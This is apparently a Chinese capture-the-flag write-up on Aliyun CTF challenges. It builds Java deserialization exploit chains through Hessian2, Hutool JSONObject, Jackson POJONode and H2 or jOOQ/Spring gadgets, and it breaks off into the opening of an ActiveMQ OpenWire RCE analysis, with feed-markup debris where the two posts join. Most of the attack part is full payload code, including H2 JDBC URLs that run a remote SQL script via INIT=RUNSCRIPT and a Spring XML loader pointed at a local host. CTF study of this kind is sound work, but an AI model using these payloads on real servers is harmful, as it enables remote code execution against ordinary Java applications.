hessian2反序列化的序列化函数可以传入指定类型进去，并且设置this.buffer[this.offset++]是77这样反序列化的时候就会获取_type值为77
但是writeType有条件限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private void writeType(String type) throws IOException {  
    this.flushIfFull();  
    int len = type.length();  
    if (len == 0) {  
        throw new IllegalArgumentException("empty type is not allowed");  
    } else {  
        if (this._typeRefs == null) {  
            this._typeRefs = new HashMap();  
        }  
  
        Integer typeRefV = (Integer)this._typeRefs.get(type);  
        if (typeRefV != null) {  
            int typeRef = typeRefV;  
            this.writeInt(typeRef);  
        } else {  
            this._typeRefs.put(type, this._typeRefs.size());  
            this.writeString(type);  
        }  
  
    }  
}


在HashMap里面push了一个type进去

这时候反序列化

调用了this.read()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
  
public final int read() throws IOException {  
    return this._length <= this._offset && !this.readBuffer() ? -1 : this._buffer[this._offset++] & 255;  
}  
  
private final boolean readBuffer() throws IOException {  
    byte[] buffer = this._buffer;  
    int offset = this._offset;  
    int length = this._length;  
    if (offset < length) {  
        System.arraycopy(buffer, offset, buffer, 0, length - offset);  
        offset = length - offset;  
    } else {  
        offset = 0;  
    }  
  
    int len = this._is.read(buffer, offset, 256 - offset);  
    if (len <= 0) {  
        this._length = offset;  
        this._offset = 0;  
        return offset > 0;  
    } else {  
        this._length = offset + len;  
        this._offset = 0;  
        return true;  
    }  
}

读取缓冲区的值当this.readBuffer返回值为true的时候调用
this._buffer[this._offset++] & 255;
所以_offset这时候就为1

因为上面的writeBeginMap将tag设置为了77
通过readType读取

由于_offset为1，所以值是25
将offset-1，这时候offset读取就从2变成了1

在进入读取

这时候tag值就为25，_offset值就为2

设置_sbuf的长度为0，设置_chunkLength长度为25，也就是cn.hutool.json.JSONObject的长度
所以后面就是从buf的25长度后面读25个字节，也就是把Type读出来cn.hutool.json.JSONObject
这时候我们知道如何指定type了，继续跟着往后面走

1
2
3
case 77:  
    type = this.readType();  
    return this.findSerializerFactory().readMap(this, type);
1
2
3
4
5
6
7
8
9
10
11
public Object readMap(AbstractHessianInput in, String type, Class<?> expectKeyType, Class<?> expectValueType) throws HessianProtocolException, IOException {  
    Deserializer deserializer = this.getDeserializer(type);  
    if (deserializer != null) {  
        return deserializer.readMap(in);  
    } else if (this._hashMapDeserializer != null) {  
        return this._hashMapDeserializer.readMap(in, expectKeyType, expectValueType);  
    } else {  
        this._hashMapDeserializer = new MapDeserializer(HashMap.class);  
        return this._hashMapDeserializer.readMap(in, expectKeyType, expectValueType);  
    }  
}

进入了这边， this.getDeserializer(type)获取了类型的反序列化
也就是获取了

当类型

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public Object readMap(AbstractHessianInput in, Class<?> expectKeyType, Class<?> expectValueType) throws IOException {  
    Object map;  
    if (this._type == null) {  
        map = new HashMap();  
    } else if (this._type.equals(Map.class)) {  
        map = new HashMap();  
    } else if (this._type.equals(SortedMap.class)) {  
        map = new TreeMap();  
    } else {  
        try {  
            map = (Map)this._ctor.newInstance();  
        } catch (Exception var6) {  
            throw new IOExceptionWrapper(var6);  
        }  
    }  
  
    in.addRef(map);  
    this.doReadMap(in, (Map)map, expectKeyType, expectValueType);  
    in.readEnd();  
    return map
    }

这样就能newInstance了
在newInstance后调用了

1
this.doReadMap(in, (Map)map, expectKeyType, expectValueType);


in.isEnd()将buffer读取到了

也就是读完类名的值，也就是8，8也就是我们key的长度，再次反序列化，将offset的值就到
value反序列化开始的地方

获取到我们输入的key

再次反序列化获取我们的value，就是走正常反序列化了
JSONObject调用put

然后JSONObject调用set

到最后调用到这个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public JSONObject set(String key, Object value, Filter<MutablePair<String, Object>> filter, boolean checkDuplicate) throws JSONException {  
    if (null == key) {  
        return this;  
    } else {  
        if (null != filter) {  
            MutablePair<String, Object> pair = new MutablePair(key, value);  
            if (!filter.accept(pair)) {  
                return this;  
            }  
  
            key = (String)pair.getKey();  
            value = pair.getValue();  
        }  
  
        boolean ignoreNullValue = this.config.isIgnoreNullValue();  
        if (ObjectUtil.isNull(value) && ignoreNullValue) {  
            this.remove(key);  
        } else {  
            if (checkDuplicate && this.containsKey(key)) {  
                throw new JSONException("Duplicate key \"{}\"", new Object[]{key});  
            }  
  
            super.put(key, JSONUtil.wrap(InternalJSONUtil.testValidity(value), this.config));  
        }  
  
        return this;  
    }  
}


调用了Object的toString也就是，

调用他的get函数
返回值也就是POJONode

String.ValueOf也就调用了value的toString

所以我们的思路就是

1
2
3
4
5
6
7
8
9
10
11
12
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();  
Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);  
  
hessian2Output.writeMapBegin(JSONObject.class.getName());  
hessian2Output.writeObject("whatever");

POJONode pojoNode = new POJONode(bean);  
  
Object object = new AtomicReference<>(pojoNode);
hessian2Output.writeObject(object);  
hessian2Output.writeMapEnd();  
hessian2Output.close();

这样就能触发pojonode
所以payload就是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
package com.aliyunctf.agent;
import cn.hutool.core.map.SafeConcurrentHashMap;
import cn.hutool.db.ds.pooled.PooledDSFactory;
import cn.hutool.json.JSONObject;
import cn.hutool.setting.Setting;
import com.alibaba.com.caucho.hessian.io.Hessian2Input;
import com.alibaba.com.caucho.hessian.io.Hessian2Output;
import com.aliyunctf.agent.other.Bean;
import com.fasterxml.jackson.databind.node.POJONode;
import com.n1ght.serial.SerialTools;
import com.n1ght.unsafe.UnSafeTools;
import sun.misc.Unsafe;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.util.Base64;
import java.util.concurrent.atomic.AtomicReference;

public class Main {
    public static void main(String[] args) throws Exception {
//--add-opens java.base/java.math=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.util.concurrent.atomic=ALL-UNNAMED --add-opens java.base/java.security=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED
        String connectionUrl = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8001/poc.sql'";
        Setting setting = new Setting();
        setting.setCharset(null);
        setting.set("url",connectionUrl);
        Unsafe unsafe = UnSafeTools.getUnsafe();
        PooledDSFactory pooledDSFactory = (PooledDSFactory) unsafe.allocateInstance(PooledDSFactory.class);
        UnSafeTools.setObject(pooledDSFactory,pooledDSFactory.getClass().getSuperclass().getDeclaredField("setting"),setting);
        UnSafeTools.setObject(pooledDSFactory,pooledDSFactory.getClass().getSuperclass().getDeclaredField("dsMap"),new SafeConcurrentHashMap<>());
        Bean bean = new Bean();
        UnSafeTools.setObject(bean,Bean.class.getDeclaredField("data"), Base64.getDecoder().decode(SerialTools.base64Serial(pooledDSFactory)));
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
        hessian2Output.writeMapBegin(JSONObject.class.getName());
        hessian2Output.writeObject("whatever");
        POJONode pojoNode = new POJONode(bean);
        Object object = new AtomicReference<>(pojoNode);
        hessian2Output.writeObject(object);
        hessian2Output.writeMapEnd();
        hessian2Output.close();
        
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        Hessian2Input hessian2Input = new Hessian2Input((InputStream)byteArrayInputStream);
        hessian2Input.readObject();
    }
}

但是为什么jackson的toString触发getObject后，就能再次触发PooledDSFactory的getter
BeanSerializerBase#serializeFields

在这边看到了BeanPropertyWriter#serializeAsField

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
Object value = this._accessorMethod == null ? this._field.get(bean) : this._accessorMethod.invoke(bean, (Object[])null);
        if (value == null) {
            if (this._suppressableValue == null || !prov.includeFilterSuppressNulls(this._suppressableValue)) {
                if (this._nullSerializer != null) {
                    gen.writeFieldName(this._name);
                    this._nullSerializer.serialize((Object)null, gen, prov);
                }

            }
        } else {
            JsonSerializer<Object> ser = this._serializer;
            if (ser == null) {
                Class<?> cls = value.getClass();
                PropertySerializerMap m = this._dynamicSerializers;
                ser = m.serializerFor(cls);
                if (ser == null) {
                    ser = this._findAndAddDynamic(m, cls, prov);
                }
            }

            if (this._suppressableValue != null) {
                if (MARKER_FOR_EMPTY == this._suppressableValue) {
                    if (ser.isEmpty(prov, value)) {
                        return;
                    }
                } else if (this._suppressableValue.equals(value)) {
                    return;
                }
            }

            if (value != bean || !this._handleSelfReference(bean, gen, prov, ser)) {
                gen.writeFieldName(this._name);
                if (this._typeSerializer == null) {
                    ser.serialize(value, gen, prov);
                } else {
                    ser.serializeWithType(value, gen, prov, this._typeSerializer);
                }

            }
        }

当获取值后，对value再次进行序列化

1
2
Object value = this._accessorMethod == null ? this._field.get(bean) : this._accessorMethod.invoke(bean, (Object[])null);
//这边就是getter后的值


也就是调用getObject后获取的值
然后对他获取的值再次进行序列化也就再次走到了这

也就是调用了PooledDSFactory的getConnection

我们之前上面找的JdbcDataSource有问题，我修改了什么地方让他成功呢

问题就在

有debug问题，fastjson的序列化问题是
Error: java.io.NotSerializableException: org.h2.jdbcx.JdbcDataSourceFactory
这样导致trace设置不了，debugCodeCall会进行判断，导致无法执行connect
所以我们使用

1
2
H2DataSource jdbcDataSource = (H2DataSource) unsafe.allocateInstance(H2DataSource.class);

unsafe.allocateInstance实例化这样不会带不可序列化的数据，我们set即可
我重写的类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.aliyunctf.agent;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.PrintWriter;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.sql.Connection;
import java.sql.SQLException;
import java.util.Properties;
import java.util.logging.Logger;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.DataSource;
import javax.sql.PooledConnection;
import javax.sql.XAConnection;
import javax.sql.XADataSource;
import org.h2.jdbc.JdbcConnection;
import org.h2.jdbcx.JdbcDataSourceBackwardsCompat;
import org.h2.jdbcx.JdbcDataSourceFactory;
import org.h2.jdbcx.JdbcXAConnection;
import org.h2.message.DbException;
import org.h2.message.Trace;
import org.h2.message.TraceObject;
import org.h2.message.TraceSystem;
import org.h2.util.StringUtils;

public final class H2DataSource extends TraceObject implements XADataSource, DataSource, ConnectionPoolDataSource, Serializable, Referenceable, JdbcDataSourceBackwardsCompat {
    private static final long serialVersionUID = 1288136338451857771L;
    private  JdbcDataSourceFactory factory;
    private transient PrintWriter logWriter;
    private int loginTimeout;
    private String userName = "";
    private char[] passwordChars = new char[0];
    private String url = "";
    private String description;
    private Trace trace;

    public Trace getTrace() {
        return trace;
    }

    public void setTrace(Trace trace) {
        this.trace = trace;
    }

    public H2DataSource(){
        this.initFactory();
        int var1 = getNextId(12);
        this.setTrace(trace, 12, var1);
    }

    private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        this.initFactory();
        var1.defaultReadObject();
    }

    private void initFactory() {
        this.factory = new JdbcDataSourceFactory();
    }

    public int getLoginTimeout() {
        return this.loginTimeout;
    }

    public void setLoginTimeout(int var1) {
        this.loginTimeout = var1;
    }

    public PrintWriter getLogWriter() {
        return this.logWriter;
    }

    public void setLogWriter(PrintWriter var1) {
        this.debugCodeCall("setLogWriter(out)");
        this.logWriter = var1;
    }

    public Connection getConnection() throws SQLException {
        return new JdbcConnection(this.url, (Properties)null, this.userName, StringUtils.cloneCharArray(this.passwordChars), false);
    }

    public Connection getConnection(String var1, String var2) throws SQLException {
        if (this.isDebugEnabled()) {
            this.debugCode("getConnection(" + quote(var1) + ", \"\")");
        }

        return new JdbcConnection(this.url, (Properties)null, var1, var2, false);
    }

    public String getURL() {
        this.debugCodeCall("getURL");
        return this.url;
    }

    public void setURL(String var1) {
        this.url = var1;
    }

    public String getUrl() {
        this.debugCodeCall("getUrl");
        return this.url;
    }

    public void setUrl(String var1) {
        this.debugCodeCall("setUrl", var1);
        this.url = var1;
    }

    public void setPassword(String var1) {
        this.debugCodeCall("setPassword", "");
        this.passwordChars = var1 == null ? null : var1.toCharArray();
    }

    public void setPasswordChars(char[] var1) {
        if (this.isDebugEnabled()) {
            this.debugCode("setPasswordChars(new char[0])");
        }

        this.passwordChars = var1;
    }

    private static String convertToString(char[] var0) {
        return var0 == null ? null : new String(var0);
    }

    public String getPassword() {
        this.debugCodeCall("getPassword");
        return convertToString(this.passwordChars);
    }

    public String getUser() {
        this.debugCodeCall("getUser");
        return this.userName;
    }

    public void setUser(String var1) {
        this.debugCodeCall("setUser", var1);
        this.userName = var1;
    }

    public String getDescription() {
        this.debugCodeCall("getDescription");
        return this.description;
    }

    public void setDescription(String var1) {
        this.debugCodeCall("getDescription", var1);
        this.description = var1;
    }

    public Reference getReference() {
        this.debugCodeCall("getReference");
        String var1 = JdbcDataSourceFactory.class.getName();
        Reference var2 = new Reference(this.getClass().getName(), var1, (String)null);
        var2.add(new StringRefAddr("url", this.url));
        var2.add(new StringRefAddr("user", this.userName));
        var2.add(new StringRefAddr("password", convertToString(this.passwordChars)));
        var2.add(new StringRefAddr("loginTimeout", Integer.toString(this.loginTimeout)));
        var2.add(new StringRefAddr("description", this.description));
        return var2;
    }

    public XAConnection getXAConnection() throws SQLException {
        this.debugCodeCall("getXAConnection");
        return null;
    }

    public XAConnection getXAConnection(String var1, String var2) throws SQLException {
        if (this.isDebugEnabled()) {
            this.debugCode("getXAConnection(" + quote(var1) + ", \"\")");
        }

        return null;
    }

    public PooledConnection getPooledConnection() throws SQLException {
        this.debugCodeCall("getPooledConnection");
        return this.getXAConnection();
    }

    public PooledConnection getPooledConnection(String var1, String var2) throws SQLException {
        if (this.isDebugEnabled()) {
            this.debugCode("getPooledConnection(" + quote(var1) + ", \"\")");
        }

        return this.getXAConnection(var1, var2);
    }

    public <T> T unwrap(Class<T> var1) throws SQLException {
        try {
            if (this.isWrapperFor(var1)) {
                return (T) this;
            } else {
                throw DbException.getInvalidValueException("iface", var1);
            }
        } catch (Exception var3) {
            throw this.logAndConvert(var3);
        }
    }

    public boolean isWrapperFor(Class<?> var1) throws SQLException {
        return var1 != null && var1.isAssignableFrom(this.getClass());
    }

    public Logger getParentLogger() {
        return null;
    }

    public String toString() {
        return this.getTraceObjectName() + ": url=" + this.url + " user=" + this.userName;
    }
}

payload：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

        String connectionUrl = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8001/poc.sql'";

        Bean bean = new Bean();
//        Setting setting = new Setting();
//        setting.setCharset(null);
//        setting.set("url",connectionUrl);
        Unsafe unsafe = UnSafeTools.getUnsafe();
//        PooledDSFactory pooledDSFactory = (PooledDSFactory) unsafe.allocateInstance(PooledDSFactory.class);
//        UnSafeTools.setObject(pooledDSFactory,pooledDSFactory.getClass().getSuperclass().getDeclaredField("setting"),setting);
//        UnSafeTools.setObject(pooledDSFactory,pooledDSFactory.getClass().getSuperclass().getDeclaredField("dsMap"),new SafeConcurrentHashMap<>());
//        UnSafeTools.setObject(bean,Bean.class.getDeclaredField("data"), Base64.getDecoder().decode(SerialTools.base64Serial(pooledDSFactory)));

        H2DataSource jdbcDataSource = (H2DataSource) unsafe.allocateInstance(H2DataSource.class);

        jdbcDataSource.setURL(connectionUrl);
        jdbcDataSource.setLoginTimeout(5);

        Object o = SourceTools.getterJacksonProxy(jdbcDataSource, DataSource.class);
        UnSafeTools.setObject(bean,Bean.class.getDeclaredField("data"), Base64.getDecoder().decode(SerialTools.base64Serial(o)));

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
        hessian2Output.writeMapBegin(JSONObject.class.getName());
        hessian2Output.writeObject("whatever");
        POJONode pojoNode = new POJONode(bean);
        Object object = new AtomicReference<>(pojoNode);
        hessian2Output.writeObject(object);
        hessian2Output.writeMapEnd();
        hessian2Output.close();

        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        Hessian2Input hessian2Input = new Hessian2Input((InputStream)byteArrayInputStream);
        hessian2Input.readObject();

这样拿取shell就可达到第二条，像第二条发送payload去打通
第二条的trace一直没加载进去，很奇怪，原生类序列化能不能打进去呢

之前继承的SimpleDSFactory也可以

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
package com.aliyunctf.agent;
import cn.hutool.core.map.SafeConcurrentHashMap;
import cn.hutool.db.ds.c3p0.C3p0DSFactory;
import cn.hutool.db.ds.druid.DruidDSFactory;
import cn.hutool.db.ds.jndi.JndiDSFactory;
import cn.hutool.db.ds.pooled.PooledDSFactory;
import cn.hutool.db.ds.simple.SimpleDSFactory;
import cn.hutool.db.ds.tomcat.TomcatDSFactory;
import cn.hutool.json.JSONObject;
import cn.hutool.setting.Setting;
import com.alibaba.com.caucho.hessian.io.Hessian2Input;
import com.alibaba.com.caucho.hessian.io.Hessian2Output;
import com.aliyunctf.agent.other.Bean;
import com.fasterxml.jackson.databind.node.POJONode;
import com.n1ght.serial.SerialTools;
import com.n1ght.source.SourceTools;
import com.n1ght.unsafe.UnSafeTools;
import org.h2.jdbcx.JdbcDataSource;
import org.h2.jdbcx.JdbcDataSourceFactory;
import org.h2.message.Trace;
import org.h2.message.TraceObject;
import org.h2.message.TraceSystem;
import sun.misc.Unsafe;
import javax.sql.DataSource;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.concurrent.atomic.AtomicReference;

public class Main {
    public static void main(String[] args) throws Exception {
//--add-opens java.base/java.math=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.util.concurrent.atomic=ALL-UNNAMED --add-opens java.base/java.security=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED --add-opens java.desktop/javax.swing.undo=ALL-UNNAMED --add-opens java.desktop/javax.swing.event=ALL-UNNAMED --add-opens java.xml/com.sun.org.apache.xpath.internal.objects=ALL-UNNAMED
        String connectionUrl = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8001/poc.sql'";

        Bean bean = new Bean();
        Setting setting = new Setting();
        setting.setCharset(null);
        setting.set("url",connectionUrl);
        Unsafe unsafe = UnSafeTools.getUnsafe();
        SimpleDSFactory pooledDSFactory = (SimpleDSFactory) unsafe.allocateInstance(SimpleDSFactory.class);
        UnSafeTools.setObject(pooledDSFactory,pooledDSFactory.getClass().getSuperclass().getDeclaredField("setting"),setting);
        UnSafeTools.setObject(pooledDSFactory,pooledDSFactory.getClass().getSuperclass().getDeclaredField("dsMap"),new SafeConcurrentHashMap<>());
        UnSafeTools.setObject(bean,Bean.class.getDeclaredField("data"), Base64.getDecoder().decode(SerialTools.base64Serial(pooledDSFactory)));



        UnSafeTools.setObject(bean,Bean.class.getDeclaredField("data"), Base64.getDecoder().decode(SerialTools.base64Serial(pooledDSFactory)));


        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
        hessian2Output.writeMapBegin(JSONObject.class.getName());
        hessian2Output.writeObject("whatever");
        POJONode pojoNode = new POJONode(bean);
        Object object = new AtomicReference<>(pojoNode);
        hessian2Output.writeObject(object);
        hessian2Output.writeMapEnd();
        hessian2Output.close();

        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        Hessian2Input hessian2Input = new Hessian2Input((InputStream)byteArrayInputStream);
        hessian2Input.readObject();
    }
}

只有开了–add-opens java.base/java.util.concurrent.atomic=ALL-UNNAMED
可以成功

server

使用查找，分了两步

即可
payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
package com.aliyunctf.server;

import com.fasterxml.jackson.databind.node.POJONode;
import com.n1ght.reflect.ReflectTools;
import com.n1ght.serial.SerialTools;
import com.n1ght.unsafe.UnSafeTools;
import org.jooq.DataType;
import org.springframework.context.support.ClassPathXmlApplicationContext;

import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Vector;

public class Main {
    public static void main(String[] args) throws Exception {
        String url = "http://127.0.0.1:1234/poc.xml";

        Class clazz1 = Class.forName("org.jooq.impl.Dual");
        Constructor constructor1 = clazz1.getDeclaredConstructors()[0];
        constructor1.setAccessible(true);
        Object table = constructor1.newInstance();

        Class clazz2 = Class.forName("org.jooq.impl.TableDataType");
        Constructor constructor2 = clazz2.getDeclaredConstructors()[0];
        constructor2.setAccessible(true);
        Object tableDataType = constructor2.newInstance(table);

        Class clazz3 = Class.forName("org.jooq.impl.Val");
        Constructor constructor3 = clazz3.getDeclaredConstructor(Object.class, DataType.class, boolean.class);
        constructor3.setAccessible(true);
        Object val = constructor3.newInstance("whatever", tableDataType, false);

        Class clazz4 = Class.forName("org.jooq.impl.ConvertedVal");
        Constructor constructor4 = clazz4.getDeclaredConstructors()[0];
        constructor4.setAccessible(true);
        Object convertedVal = constructor4.newInstance(val, tableDataType);

        Object value = url;
        Class type = ClassPathXmlApplicationContext.class;

        UnSafeTools.setObject(val,val.getClass().getSuperclass().getDeclaredField("value"),value);
        UnSafeTools.setObject(tableDataType,tableDataType.getClass().getSuperclass().getDeclaredField("uType"),type);



        POJONode pojoNode = new POJONode(convertedVal);

        EventListenerList eventListenerList = new EventListenerList();
        UndoManager undoManager = new UndoManager();
        Vector vector = (Vector) ReflectTools.getFieldValue(undoManager, "edits");
        vector.add(pojoNode);
        ReflectTools.setFieldValue(eventListenerList, "listenerList", new Object[]{InternalError.class, undoManager});

        String s = SerialTools.base64Serial(eventListenerList);
        System.out.println(s);
        SerialTools.base64DeSerial(s);

    }

}

]]> <h2 id="agent"><a href="#agent" class="headerlink" title="agent"></a>agent</h2><p>jdk17依赖有h2思路清晰打jdbc attack</p> <figure class="highlight xm ActiveMQ RCE 分析 https://www.n1ght.cn/2024/04/10/ActiveMQ%20RCE%20%E5%88%86%E6%9E%90/ 2024-04-10T10:26:32.000Z 2024-04-27T12:51:42.193Z activemq-5.18.2
漏洞环境
查看windows搭建
windows环境搭建
在目录下使用
mvn clean install -DskipTests
将activemq-activemq-5.18.2/assembly/target的apache-activemq-5.18.2-bin.zip
解压

添加到库中
这样没完全添加，将lib目录下文件全部添加
然后把其中的 conf、webapps 和 lib 文件夹，拷贝到 activemq-parent-5.15.12 项目的同级目录下
运行

$ cat log.txt |grep marshaller
This fixes the OpenWire v12 marshaller so that if an exception is
AMQ-9370 - Improve Openwire marshaller validation test
AMQ-9370 - Openwire marshaller should validate Throwable class type
AMQ-9370 - Openwire marshaller should validate Throwable class type
Fixing KahaDB so that the correct marshaller is used for the message
Use the latest openwire version marshallers in the KahaDB store when
https://issues.apache.org/jira/browse/AMQ-3236 - fix regression in MessageAckTest, ensure wireversion is used for marshaller test
Reverting recent chagnes to openwire v3 marshallers that snuck in with my last commit
Set the eol style on the generated marshallers
Added openwire v2 marshallers
Adding initial marshaller for v2
Configure our use of the gram maven plugin so that it generates the openwire marshaller source code.
with the m2 gram plugin to generate openwire marshallers under maven 2.
latest generated OpenWire commands and marshallers - updated WireFormatInfo so that it has boolean flags for the various options like stack trace and the like (we should avoid int based bitflags going forwards now as they are harder to support in other languages and are more brittle)
updated marshallers.
发现
commit 3eaf3107f4fb9a3ce7ab45c175bfaeac7e866d5b
记录下修改

增加了一行验证
查看createThrowable在哪里调用到他

BaseDataStreamMarshaller#tightUnmarsalThrowable
而且ExceptionResponseMarshaller的反序列化调用了他

编写activeMQ通信demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package test;  
  
import org.apache.activemq.ActiveMQConnection;  
import org.apache.activemq.ActiveMQConnectionFactory;  
  
import javax.jms.*;  
  
public class Main {  
    public static void main(String[] args)  throws Exception{  
        ActiveMQConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://localhost:61616");  
  
         // 构造从工厂得到连接对象  
            Connection connection = connectionFactory.createConnection();  
            // 启动  
            connection.start();  
            // 获取操作连接  
            Session session = connection.createSession(Boolean.TRUE,  
                    Session.AUTO_ACKNOWLEDGE);  
            // 获取session注意参数值xingbo.xu-queue是一个服务器的queue，须在在ActiveMq的console配置  
            Queue firstQueue = session.createQueue("FirstQueue");  
            // 得到消息生成者【发送者】  
            MessageProducer producer = session.createProducer(firstQueue);  
            // 设置不持久化，此处学习，实际根据项目决定  
            ObjectMessage objectMessage = session.createObjectMessage("aaa");  
  
            // 构造消息，此处写死，项目就是参数，或者方法获取  
            producer.send(objectMessage);  
            connection.close();  
    }  
}

发送信息后，activeMQ会调用
org.apache.activemq.openwire.OpenWireFormat#doUnmarshal()进行反序列化

观看源代码发现

是dataType的值决定了反序列化哪个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public Object doUnmarshal(DataInput dis) throws IOException {  
    byte dataType = dis.readByte();  
    if (dataType != 0) {  
        DataStreamMarshaller dsm = this.dataMarshallers[dataType & 255];  
        if (dsm == null) {  
            throw new IOException("Unknown data type: " + dataType);  
        } else {  
            Object data = dsm.createObject();  
            if (this.tightEncodingEnabled) {  
                BooleanStream bs = new BooleanStream();  
                bs.unmarshal(dis);  
                dsm.tightUnmarshal(this, data, dis, bs);  
            } else {  
                dsm.looseUnmarshal(this, data, dis);  
            }  
  
            return data;  
        }  
    } else {  
        return null;  
    }  
}

所以我们得想办法将dataType的值pattch成31
序列化的方法就是

TcpTransport#oneway
调用的marshal方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
public synchronized void marshal(Object o, DataOutput dataOut) throws IOException {  
    if (this.cacheEnabled) {  
        this.runMarshallCacheEvictionSweep();  
    }  
  
    int size = 1;  
    if (o != null) {  
        DataStructure c = (DataStructure)o;  
        byte type = c.getDataStructureType();  
        DataStreamMarshaller dsm = this.dataMarshallers[type & 255];  
        if (dsm == null) {  
            throw new IOException("Unknown data type: " + type);  
        }  
  
        if (this.tightEncodingEnabled) {  
            BooleanStream bs = new BooleanStream();  
            size += dsm.tightMarshal1(this, c, bs);  
            size += bs.marshalledSize();  
            if (this.maxFrameSizeEnabled && (long)size > this.maxFrameSize) {  
                throw IOExceptionSupport.createFrameSizeException(size, this.maxFrameSize);  
            }  
  
            if (!this.sizePrefixDisabled) {  
                dataOut.writeInt(size);  
            }  
  
            dataOut.writeByte(type);  
            bs.marshal(dataOut);  
            dsm.tightMarshal2(this, c, dataOut, bs);  
        } else {  
            DataOutput looseOut = dataOut;  
            if (!this.sizePrefixDisabled) {  
                this.bytesOut.restart();  
                looseOut = this.bytesOut;  
            }  
  
            ((DataOutput)looseOut).writeByte(type);  
            dsm.looseMarshal(this, c, (DataOutput)looseOut);  
            if (!this.sizePrefixDisabled) {  
                ByteSequence sequence = this.bytesOut.toByteSequence();  
                dataOut.writeInt(sequence.getLength());  
                dataOut.write(sequence.getData(), sequence.getOffset(), sequence.getLength());  
            }  
        }  
    } else {  
        if (!this.sizePrefixDisabled) {  
            dataOut.writeInt(size);  
        }  
  
        dataOut.writeByte(0);  
    }  
  
}

获取类型，然后写入到序列化的类中
ExceptionResponseMarshaller是序列化的类，而ExceptionResponse就是传入的值
所以
command可以编写ExceptionResponse
dataOut即是ExceptionResponseMarshaller是序列化的类，
